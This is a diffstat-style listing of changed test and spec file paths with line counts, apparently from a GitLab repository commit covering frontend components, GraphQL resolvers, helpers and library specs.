-rw-r--r--spec/frontend/packages/list/components/packages_list_app_spec.js49
-rw-r--r--spec/frontend/packages/list/components/packages_list_spec.js4
-rw-r--r--spec/frontend/packages/list/components/packages_sort_spec.js4
-rw-r--r--spec/frontend/packages/list/stores/actions_spec.js3
-rw-r--r--spec/frontend/packages/mock_data.js3
-rw-r--r--spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap178
-rw-r--r--spec/frontend/packages/shared/components/__snapshots__/publish_method_spec.js.snap18
-rw-r--r--spec/frontend/packages/shared/components/package_list_row_spec.js22
-rw-r--r--spec/frontend/packages/shared/components/packages_list_loader_spec.js33
-rw-r--r--spec/frontend/packages/shared/components/publish_method_spec.js6
-rw-r--r--spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap11
-rw-r--r--spec/frontend/pages/dashboard/projects/index/components/customize_homepage_banner_spec.js66
-rw-r--r--spec/frontend/pages/dashboard/todos/index/todos_spec.js1
-rw-r--r--spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js2
-rw-r--r--spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js4
-rw-r--r--spec/frontend/pages/projects/graphs/code_coverage_spec.js8
-rw-r--r--spec/frontend/pages/projects/pipeline_schedules/shared/components/timezone_dropdown_spec.js1
-rw-r--r--spec/frontend/pages/projects/shared/permissions/components/project_feature_settings_spec.js4
-rw-r--r--spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js2
-rw-r--r--spec/frontend/performance_bar/components/detailed_metric_spec.js2
-rw-r--r--spec/frontend/performance_bar/components/request_warning_spec.js2
-rw-r--r--spec/frontend/performance_bar/index_spec.js2
-rw-r--r--spec/frontend/performance_bar/services/performance_bar_service_spec.js43
-rw-r--r--spec/frontend/pipeline_new/components/pipeline_new_form_spec.js106
-rw-r--r--spec/frontend/pipeline_new/mock_data.js12
-rw-r--r--spec/frontend/pipelines/components/pipelines_filtered_search_spec.js3
-rw-r--r--spec/frontend/pipelines/graph/graph_component_spec.js7
-rw-r--r--spec/frontend/pipelines/graph/job_item_spec.js68
-rw-r--r--spec/frontend/pipelines/graph/linked_pipeline_spec.js75
-rw-r--r--spec/frontend/pipelines/pipeline_graph/gitlab_ci_yaml_visualization_spec.js47
-rw-r--r--spec/frontend/pipelines/pipeline_graph/mock_data.js80
-rw-r--r--spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js59
-rw-r--r--spec/frontend/pipelines/pipeline_graph/utils_spec.js150
-rw-r--r--spec/frontend/pipelines/pipeline_triggerer_spec.js2
-rw-r--r--spec/frontend/pipelines/pipelines_actions_spec.js6
-rw-r--r--spec/frontend/pipelines/test_reports/stores/getters_spec.js6
-rw-r--r--spec/frontend/pipelines/test_reports/stores/utils_spec.js26
-rw-r--r--spec/frontend/pipelines/test_reports/test_reports_spec.js11
-rw-r--r--spec/frontend/pipelines/test_reports/test_suite_table_spec.js12
-rw-r--r--spec/frontend/pipelines/test_reports/test_summary_spec.js3
-rw-r--r--spec/frontend/pipelines/time_ago_spec.js23
-rw-r--r--spec/frontend/pipelines/tokens/pipeline_status_token_spec.js17
-rw-r--r--spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js32
-rw-r--r--spec/frontend/profile/account/components/delete_account_modal_spec.js82
-rw-r--r--spec/frontend/projects/commits/components/author_select_spec.js19
-rw-r--r--spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap8
-rw-r--r--spec/frontend/projects/components/shared/__snapshots__/delete_button_spec.js.snap4
-rw-r--r--spec/frontend/projects/settings/access_dropdown_spec.js1
-rw-r--r--spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js2
-rw-r--r--spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js18
-rw-r--r--spec/frontend/ref/components/ref_selector_spec.js32
-rw-r--r--spec/frontend/registry/explorer/components/delete_button_spec.js1
-rw-r--r--spec/frontend/registry/explorer/components/details_page/details_header_spec.js2
-rw-r--r--spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js2
-rw-r--r--spec/frontend/registry/explorer/components/details_page/tags_list_spec.js1
-rw-r--r--spec/frontend/registry/explorer/components/list_item_spec.js156
-rw-r--r--spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js63
-rw-r--r--spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js2
-rw-r--r--spec/frontend/registry/explorer/components/list_page/registry_header_spec.js134
-rw-r--r--spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js2
-rw-r--r--spec/frontend/registry/explorer/pages/list_spec.js2
-rw-r--r--spec/frontend/registry/explorer/stubs.js2
-rw-r--r--spec/frontend/registry/shared/components/details_row_spec.js71
-rw-r--r--spec/frontend/registry/shared/mocks.js1
-rw-r--r--spec/frontend/releases/__snapshots__/util_spec.js.snap113
-rw-r--r--spec/frontend/releases/components/app_index_spec.js141
-rw-r--r--spec/frontend/releases/components/app_show_spec.js2
-rw-r--r--spec/frontend/releases/components/asset_links_form_spec.js36
-rw-r--r--spec/frontend/releases/components/release_block_assets_spec.js2
-rw-r--r--spec/frontend/releases/components/release_block_footer_spec.js7
-rw-r--r--spec/frontend/releases/components/release_block_spec.js4
-rw-r--r--spec/frontend/releases/components/releases_pagination_graphql_spec.js175
-rw-r--r--spec/frontend/releases/components/releases_pagination_rest_spec.js72
-rw-r--r--spec/frontend/releases/components/releases_pagination_spec.js52
-rw-r--r--spec/frontend/releases/components/tag_field_exsting_spec.js7
-rw-r--r--spec/frontend/releases/mock_data.js128
-rw-r--r--spec/frontend/releases/stores/modules/list/actions_spec.js150
-rw-r--r--spec/frontend/releases/stores/modules/list/helpers.js1
-rw-r--r--spec/frontend/releases/stores/modules/list/mutations_spec.js4
-rw-r--r--spec/frontend/releases/util_spec.js55
-rw-r--r--spec/frontend/reports/accessibility_report/grouped_accessibility_reports_app_spec.js11
-rw-r--r--spec/frontend/reports/accessibility_report/mock_data.js1
-rw-r--r--spec/frontend/reports/codequality_report/grouped_codequality_reports_app_spec.js45
-rw-r--r--spec/frontend/reports/components/__snapshots__/issue_status_icon_spec.js.snap6
-rw-r--r--spec/frontend/reports/components/grouped_issues_list_spec.js2
-rw-r--r--spec/frontend/reports/components/grouped_test_reports_app_spec.js13
-rw-r--r--spec/frontend/repository/components/table/index_spec.js28
-rw-r--r--spec/frontend/repository/components/tree_content_spec.js35
-rw-r--r--spec/frontend/repository/components/web_ide_link_spec.js51
-rw-r--r--spec/frontend/repository/log_tree_spec.js43
-rw-r--r--spec/frontend/repository/router_spec.js13
-rw-r--r--spec/frontend/search/components/state_filter_spec.js104
-rw-r--r--spec/frontend/search_autocomplete_spec.js3
-rw-r--r--spec/frontend/serverless/utils.js1
-rw-r--r--spec/frontend/shortcuts_spec.js85
-rw-r--r--spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap40
-rw-r--r--spec/frontend/sidebar/__snapshots__/todo_spec.js.snap2
-rw-r--r--spec/frontend/sidebar/assignees_spec.js5
-rw-r--r--spec/frontend/sidebar/components/assignees/collapsed_assignee_list_spec.js4
-rw-r--r--spec/frontend/sidebar/components/severity/severity_spec.js57
-rw-r--r--spec/frontend/sidebar/components/severity/sidebar_severity_spec.js166
-rw-r--r--spec/frontend/sidebar/issuable_assignees_spec.js59
-rw-r--r--spec/frontend/sidebar/participants_spec.js10
-rw-r--r--spec/frontend/sidebar/sidebar_labels_spec.js124
-rw-r--r--spec/frontend/sidebar/sidebar_move_issue_spec.js6
-rw-r--r--spec/frontend/sidebar/subscriptions_spec.js2
-rw-r--r--spec/frontend/sidebar/todo_spec.js11
-rw-r--r--spec/frontend/snippet/snippet_bundle_spec.js8
-rw-r--r--spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap6
-rw-r--r--spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap8
-rw-r--r--spec/frontend/snippets/components/edit_spec.js23
-rw-r--r--spec/frontend/snippets/components/embed_dropdown_spec.js70
-rw-r--r--spec/frontend/snippets/components/show_spec.js12
-rw-r--r--spec/frontend/snippets/components/snippet_blob_edit_spec.js17
-rw-r--r--spec/frontend/snippets/components/snippet_header_spec.js8
-rw-r--r--spec/frontend/snippets/components/snippet_visibility_edit_spec.js118
-rw-r--r--spec/frontend/static_site_editor/components/edit_area_spec.js89
-rw-r--r--spec/frontend/static_site_editor/components/edit_drawer_spec.js68
-rw-r--r--spec/frontend/static_site_editor/components/front_matter_controls_spec.js78
-rw-r--r--spec/frontend/static_site_editor/components/publish_toolbar_spec.js17
-rw-r--r--spec/frontend/static_site_editor/graphql/resolvers/file_spec.js2
-rw-r--r--spec/frontend/static_site_editor/graphql/resolvers/submit_content_changes_spec.js2
-rw-r--r--spec/frontend/static_site_editor/mock_data.js17
-rw-r--r--spec/frontend/static_site_editor/pages/home_spec.js2
-rw-r--r--spec/frontend/static_site_editor/services/formatter_spec.js15
-rw-r--r--spec/frontend/static_site_editor/services/load_source_content_spec.js7
-rw-r--r--spec/frontend/static_site_editor/services/parse_source_file_spec.js62
-rw-r--r--spec/frontend/static_site_editor/services/submit_content_changes_spec.js2
-rw-r--r--spec/frontend/tooltips/components/tooltips_spec.js202
-rw-r--r--spec/frontend/tooltips/index_spec.js149
-rw-r--r--spec/frontend/tracking_spec.js22
-rw-r--r--spec/frontend/vue_mr_widget/components/mock_data.js1
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_container_spec.js10
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_expandable_section_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js12
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_icon_spec.js4
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js329
-rw-r--r--spec/frontend/vue_mr_widget/components/review_app_link_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_commits_header_spec.js6
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js6
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js6
-rw-r--r--spec/frontend/vue_mr_widget/components/terraform/mr_widget_terraform_container_spec.js12
-rw-r--r--spec/frontend/vue_mr_widget/deployment/deployment_action_button_spec.js21
-rw-r--r--spec/frontend/vue_mr_widget/mock_data.js1
-rw-r--r--spec/frontend/vue_mr_widget/mr_widget_options_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/stores/get_state_key_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js32
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap12
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap8
-rw-r--r--spec/frontend/vue_shared/components/actions_button_spec.js203
-rw-r--r--spec/frontend/vue_shared/components/alert_detail_table_spec.js74
-rw-r--r--spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/changed_file_icon_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/clone_dropdown_spec.js10
-rw-r--r--spec/frontend/vue_shared/components/commit_spec.js6
-rw-r--r--spec/frontend/vue_shared/components/confirm_modal_spec.js22
-rw-r--r--spec/frontend/vue_shared/components/date_time_picker/date_time_picker_spec.js9
-rw-r--r--spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js16
-rw-r--r--spec/frontend/vue_shared/components/dropdown/dropdown_search_input_spec.js6
-rw-r--r--spec/frontend/vue_shared/components/file_finder/index_spec.js41
-rw-r--r--spec/frontend/vue_shared/components/file_row_spec.js14
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js138
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js203
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js73
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js97
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/branch_token_spec.js207
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js106
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js102
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_dropdown_spec.js190
-rw-r--r--spec/frontend/vue_shared/components/icon_spec.js78
-rw-r--r--spec/frontend/vue_shared/components/issue/issue_milestone_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/issue/related_issuable_item_spec.js38
-rw-r--r--spec/frontend/vue_shared/components/markdown/header_spec.js58
-rw-r--r--spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js20
-rw-r--r--spec/frontend/vue_shared/components/markdown/suggestion_diff_row_spec.js20
-rw-r--r--spec/frontend/vue_shared/components/markdown/toolbar_button_spec.js47
-rw-r--r--spec/frontend/vue_shared/components/notes/noteable_warning_spec.js8
-rw-r--r--spec/frontend/vue_shared/components/notes/timeline_entry_item_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/ordered_layout_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/paginated_list_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js6
-rw-r--r--spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap60
-rw-r--r--spec/frontend/vue_shared/components/registry/__snapshots__/history_item_spec.js.snap42
-rw-r--r--spec/frontend/vue_shared/components/registry/code_instruction_spec.js117
-rw-r--r--spec/frontend/vue_shared/components/registry/details_row_spec.js71
-rw-r--r--spec/frontend/vue_shared/components/registry/history_item_spec.js67
-rw-r--r--spec/frontend/vue_shared/components/registry/list_item_spec.js135
-rw-r--r--spec/frontend/vue_shared/components/registry/metadata_item_spec.js101
-rw-r--r--spec/frontend/vue_shared/components/registry/title_area_spec.js98
-rw-r--r--spec/frontend/vue_shared/components/remove_member_modal_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap739
-rw-r--r--spec/frontend/vue_shared/components/resizable_chart/skeleton_loader_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/build_custom_renderer_spec.js9
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer_spec.js87
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/mock_data.js40
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition_spec.js25
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_heading_spec.js12
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js48
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_list_spec.js38
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_text_spec.js24
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_list_item_spec.js12
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_utils_spec.js70
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_create_label_spec.js18
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_header_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/mock_data.js46
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js30
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js15
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js13
-rw-r--r--spec/frontend/vue_shared/components/table_pagination_spec.js6
-rw-r--r--spec/frontend/vue_shared/components/todo_button_spec.js48
-rw-r--r--spec/frontend/vue_shared/components/user_avatar/user_avatar_link_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/user_popover/user_popover_spec.js15
-rw-r--r--spec/frontend/vue_shared/components/web_ide_link_spec.js106
-rw-r--r--spec/frontend/whats_new/components/app_spec.js24
-rw-r--r--spec/frontend/whats_new/components/trigger_spec.js43
-rw-r--r--spec/frontend_integration/test_helpers/factories/commit.js1
-rw-r--r--spec/frontend_integration/test_helpers/mock_server/graphql.js1
-rw-r--r--spec/frontend_integration/test_helpers/utils/overclock_timers.js1
-rw-r--r--spec/graphql/gitlab_schema_spec.rb4
-rw-r--r--spec/graphql/mutations/alert_management/alerts/set_assignees_spec.rb1
-rw-r--r--spec/graphql/mutations/alert_management/alerts/todo/create_spec.rb2
-rw-r--r--spec/graphql/mutations/alert_management/create_alert_issue_spec.rb2
-rw-r--r--spec/graphql/mutations/alert_management/update_alert_status_spec.rb4
-rw-r--r--spec/graphql/mutations/boards/lists/create_spec.rb15
-rw-r--r--spec/graphql/mutations/discussions/toggle_resolve_spec.rb2
-rw-r--r--spec/graphql/mutations/issues/set_severity_spec.rb62
-rw-r--r--spec/graphql/resolvers/admin/analytics/instance_statistics/measurements_resolver_spec.rb47
-rw-r--r--spec/graphql/resolvers/board_list_issues_resolver_spec.rb36
-rw-r--r--spec/graphql/resolvers/group_members_resolver_spec.rb12
-rw-r--r--spec/graphql/resolvers/issue_status_counts_resolver_spec.rb6
-rw-r--r--spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb7
-rw-r--r--spec/graphql/resolvers/merge_requests_resolver_spec.rb49
-rw-r--r--spec/graphql/resolvers/namespace_projects_resolver_spec.rb51
-rw-r--r--spec/graphql/resolvers/project_members_resolver_spec.rb57
-rw-r--r--spec/graphql/resolvers/project_merge_requests_resolver_spec.rb56
-rw-r--r--spec/graphql/resolvers/project_pipeline_resolver_spec.rb8
-rw-r--r--spec/graphql/resolvers/projects_resolver_spec.rb8
-rw-r--r--spec/graphql/types/admin/analytics/instance_statistics/measurement_identifier_enum_spec.rb13
-rw-r--r--spec/graphql/types/admin/analytics/instance_statistics/measurement_type_spec.rb11
-rw-r--r--spec/graphql/types/base_enum_spec.rb12
-rw-r--r--spec/graphql/types/base_field_spec.rb59
-rw-r--r--spec/graphql/types/boards/board_issue_input_type_spec.rb15
-rw-r--r--spec/graphql/types/current_user_todos_type_spec.rb9
-rw-r--r--spec/graphql/types/design_management/design_type_spec.rb4
-rw-r--r--spec/graphql/types/group_type_spec.rb9
-rw-r--r--spec/graphql/types/issuable_severity_enum_spec.rb13
-rw-r--r--spec/graphql/types/issue_type_spec.rb4
-rw-r--r--spec/graphql/types/member_interface_spec.rb43
-rw-r--r--spec/graphql/types/merge_request_sort_enum_spec.rb15
-rw-r--r--spec/graphql/types/merge_request_type_spec.rb12
-rw-r--r--spec/graphql/types/milestone_type_spec.rb2
-rw-r--r--spec/graphql/types/package_type_enum_spec.rb2
-rw-r--r--spec/graphql/types/permission_types/merge_request_spec.rb3
-rw-r--r--spec/graphql/types/project_type_spec.rb10
-rw-r--r--spec/graphql/types/query_type_spec.rb18
-rw-r--r--spec/graphql/types/release_asset_link_type_spec.rb2
-rw-r--r--spec/graphql/types/user_type_spec.rb1
-rw-r--r--spec/helpers/auth_helper_spec.rb40
-rw-r--r--spec/helpers/blob_helper_spec.rb55
-rw-r--r--spec/helpers/ci/pipelines_helper_spec.rb24
-rw-r--r--spec/helpers/clusters_helper_spec.rb10
-rw-r--r--spec/helpers/container_registry_helper_spec.rb27
-rw-r--r--spec/helpers/dropdowns_helper_spec.rb253
-rw-r--r--spec/helpers/emails_helper_spec.rb72
-rw-r--r--spec/helpers/environments_helper_spec.rb82
-rw-r--r--spec/helpers/groups/group_members_helper_spec.rb48
-rw-r--r--spec/helpers/groups_helper_spec.rb44
-rw-r--r--spec/helpers/issuables_helper_spec.rb4
-rw-r--r--spec/helpers/merge_requests_helper_spec.rb2
-rw-r--r--spec/helpers/notifications_helper_spec.rb12
-rw-r--r--spec/helpers/operations_helper_spec.rb4
-rw-r--r--spec/helpers/releases_helper_spec.rb2
-rw-r--r--spec/helpers/search_helper_spec.rb82
-rw-r--r--spec/helpers/services_helper_spec.rb35
-rw-r--r--spec/helpers/snippets_helper_spec.rb2
-rw-r--r--spec/helpers/storage_helper_spec.rb5
-rw-r--r--spec/helpers/submodule_helper_spec.rb174
-rw-r--r--spec/helpers/tree_helper_spec.rb88
-rw-r--r--spec/helpers/user_callouts_helper_spec.rb20
-rw-r--r--spec/helpers/whats_new_helper_spec.rb22
-rw-r--r--spec/helpers/wiki_helper_spec.rb16
-rw-r--r--spec/initializers/carrierwave_patch_spec.rb12
-rw-r--r--spec/initializers/remove_active_job_execute_callback_spec.rb9
-rw-r--r--spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb127
-rw-r--r--spec/lib/api/helpers_spec.rb58
-rw-r--r--spec/lib/atlassian/jira_connect/client_spec.rb36
-rw-r--r--spec/lib/atlassian/jira_connect/serializers/author_entity_spec.rb23
-rw-r--r--spec/lib/atlassian/jira_connect/serializers/branch_entity_spec.rb14
-rw-r--r--spec/lib/atlassian/jira_connect/serializers/repository_entity_spec.rb21
-rw-r--r--spec/lib/atlassian/jira_issue_key_extractor_spec.rb37
-rw-r--r--spec/lib/backup/artifacts_spec.rb37
-rw-r--r--spec/lib/backup/database_spec.rb52
-rw-r--r--spec/lib/backup/files_spec.rb46
-rw-r--r--spec/lib/backup/manager_spec.rb23
-rw-r--r--spec/lib/backup/pages_spec.rb30
-rw-r--r--spec/lib/backup/repository_spec.rb28
-rw-r--r--spec/lib/backup/uploads_spec.rb18
-rw-r--r--spec/lib/banzai/filter/alert_reference_filter_spec.rb223
-rw-r--r--spec/lib/banzai/filter/external_issue_reference_filter_spec.rb43
-rw-r--r--spec/lib/banzai/filter/inline_metrics_filter_spec.rb71
-rw-r--r--spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb9
-rw-r--r--spec/lib/banzai/filter/issue_reference_filter_spec.rb70
-rw-r--r--spec/lib/banzai/filter/table_of_contents_filter_spec.rb5
-rw-r--r--spec/lib/banzai/filter/user_reference_filter_spec.rb16
-rw-r--r--spec/lib/banzai/reference_parser/alert_parser_spec.rb49
-rw-r--r--spec/lib/bitbucket_server/representation/comment_spec.rb25
-rw-r--r--spec/lib/bitbucket_server/representation/pull_request_spec.rb27
-rw-r--r--spec/lib/constraints/jira_encoded_url_constrainer_spec.rb36
-rw-r--r--spec/lib/container_registry/client_spec.rb53
-rw-r--r--spec/lib/gitlab/alert_management/alert_params_spec.rb4
-rw-r--r--spec/lib/gitlab/alert_management/payload/base_spec.rb210
-rw-r--r--spec/lib/gitlab/alert_management/payload/generic_spec.rb89
-rw-r--r--spec/lib/gitlab/alert_management/payload/managed_prometheus_spec.rb167
-rw-r--r--spec/lib/gitlab/alert_management/payload/prometheus_spec.rb240
-rw-r--r--spec/lib/gitlab/alert_management/payload_spec.rb60
-rw-r--r--spec/lib/gitlab/alerting/notification_payload_parser_spec.rb18
-rw-r--r--spec/lib/gitlab/analytics/instance_statistics/workers_argument_builder_spec.rb46
-rw-r--r--spec/lib/gitlab/anonymous_session_spec.rb43
-rw-r--r--spec/lib/gitlab/app_text_logger_spec.rb2
-rw-r--r--spec/lib/gitlab/asciidoc_spec.rb2
-rw-r--r--spec/lib/gitlab/auth/atlassian/auth_hash_spec.rb50
-rw-r--r--spec/lib/gitlab/auth/atlassian/identity_linker_spec.rb71
-rw-r--r--spec/lib/gitlab/auth/atlassian/user_spec.rb60
-rw-r--r--spec/lib/gitlab/auth/ldap/adapter_spec.rb4
-rw-r--r--spec/lib/gitlab/auth/ldap/config_spec.rb4
-rw-r--r--spec/lib/gitlab/auth/o_auth/provider_spec.rb44
-rw-r--r--spec/lib/gitlab/auth/o_auth/user_spec.rb53
-rw-r--r--spec/lib/gitlab/auth_spec.rb23
-rw-r--r--spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/migrate_to_hashed_storage_spec.rb43
-rw-r--r--spec/lib/gitlab/background_migration/set_merge_request_diff_files_count_spec.rb19
-rw-r--r--spec/lib/gitlab/badge/coverage/template_spec.rb4
-rw-r--r--spec/lib/gitlab/badge/pipeline/status_spec.rb28
-rw-r--r--spec/lib/gitlab/badge/pipeline/template_spec.rb4
-rw-r--r--spec/lib/gitlab/bitbucket_server_import/importer_spec.rb356
-rw-r--r--spec/lib/gitlab/checks/lfs_integrity_spec.rb20
-rw-r--r--spec/lib/gitlab/checks/project_moved_spec.rb8
-rw-r--r--spec/lib/gitlab/checks/snippet_check_spec.rb14
-rw-r--r--spec/lib/gitlab/ci/artifact_file_reader_spec.rb11
-rw-r--r--spec/lib/gitlab/ci/config/entry/job_spec.rb18
-rw-r--r--spec/lib/gitlab/ci/config/entry/jobs_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/config/entry/root_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb21
-rw-r--r--spec/lib/gitlab/ci/config/normalizer_spec.rb26
-rw-r--r--spec/lib/gitlab/ci/config_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/jwt_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/lint_spec.rb251
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs_spec.rb6
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/pipeline/expression/lexer_spec.rb19
-rw-r--r--spec/lib/gitlab/ci/pipeline/expression/parser_spec.rb74
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/build_spec.rb39
-rw-r--r--spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb111
-rw-r--r--spec/lib/gitlab/ci/reports/test_case_spec.rb6
-rw-r--r--spec/lib/gitlab/ci/reports/test_suite_spec.rb31
-rw-r--r--spec/lib/gitlab/ci/status/bridge/common_spec.rb49
-rw-r--r--spec/lib/gitlab/ci/status/composite_spec.rb51
-rw-r--r--spec/lib/gitlab/ci/templates/templates_spec.rb39
-rw-r--r--spec/lib/gitlab/ci/trace/stream_spec.rb22
-rw-r--r--spec/lib/gitlab/ci/trace_spec.rb23
-rw-r--r--spec/lib/gitlab/ci/yaml_processor_spec.rb806
-rw-r--r--spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb53
-rw-r--r--spec/lib/gitlab/conan_token_spec.rb2
-rw-r--r--spec/lib/gitlab/consul/internal_spec.rb139
-rw-r--r--spec/lib/gitlab/cycle_analytics/code_stage_spec.rb4
-rw-r--r--spec/lib/gitlab/cycle_analytics/events_spec.rb42
-rw-r--r--spec/lib/gitlab/cycle_analytics/issue_stage_spec.rb6
-rw-r--r--spec/lib/gitlab/cycle_analytics/permissions_spec.rb12
-rw-r--r--spec/lib/gitlab/cycle_analytics/plan_stage_spec.rb4
-rw-r--r--spec/lib/gitlab/cycle_analytics/production_stage_spec.rb9
-rw-r--r--spec/lib/gitlab/cycle_analytics/review_stage_spec.rb4
-rw-r--r--spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb2
-rw-r--r--spec/lib/gitlab/cycle_analytics/staging_stage_spec.rb4
-rw-r--r--spec/lib/gitlab/cycle_analytics/test_stage_spec.rb2
-rw-r--r--spec/lib/gitlab/danger/changelog_spec.rb72
-rw-r--r--spec/lib/gitlab/danger/helper_spec.rb40
-rw-r--r--spec/lib/gitlab/danger/teammate_spec.rb57
-rw-r--r--spec/lib/gitlab/data_builder/deployment_spec.rb2
-rw-r--r--spec/lib/gitlab/database/background_migration_job_spec.rb9
-rw-r--r--spec/lib/gitlab/database/batch_count_spec.rb10
-rw-r--r--spec/lib/gitlab/database/concurrent_reindex_spec.rb207
-rw-r--r--spec/lib/gitlab/database/custom_structure_spec.rb1
-rw-r--r--spec/lib/gitlab/database/migration_helpers_spec.rb11
-rw-r--r--spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb2
-rw-r--r--spec/lib/gitlab/database/partitioning/partition_monitoring_spec.rb34
-rw-r--r--spec/lib/gitlab/database/partitioning_migration_helpers/backfill_partitioned_table_spec.rb9
-rw-r--r--spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb147
-rw-r--r--spec/lib/gitlab/database/schema_cleaner_spec.rb4
-rw-r--r--spec/lib/gitlab/database_importers/common_metrics/prometheus_metric_spec.rb2
-rw-r--r--spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb4
-rw-r--r--spec/lib/gitlab/discussions_diff/highlight_cache_spec.rb4
-rw-r--r--spec/lib/gitlab/email/handler/create_issue_handler_spec.rb22
-rw-r--r--spec/lib/gitlab/email/handler/create_merge_request_handler_spec.rb24
-rw-r--r--spec/lib/gitlab/email/handler/create_note_handler_spec.rb20
-rw-r--r--spec/lib/gitlab/email/receiver_spec.rb6
-rw-r--r--spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb75
-rw-r--r--spec/lib/gitlab/experimentation_spec.rb13
-rw-r--r--spec/lib/gitlab/external_authorization/access_spec.rb10
-rw-r--r--spec/lib/gitlab/external_authorization/cache_spec.rb4
-rw-r--r--spec/lib/gitlab/file_type_detection_spec.rb39
-rw-r--r--spec/lib/gitlab/git/base_error_spec.rb23
-rw-r--r--spec/lib/gitlab/git/commit_spec.rb8
-rw-r--r--spec/lib/gitlab/github_import/importer/label_links_importer_spec.rb2
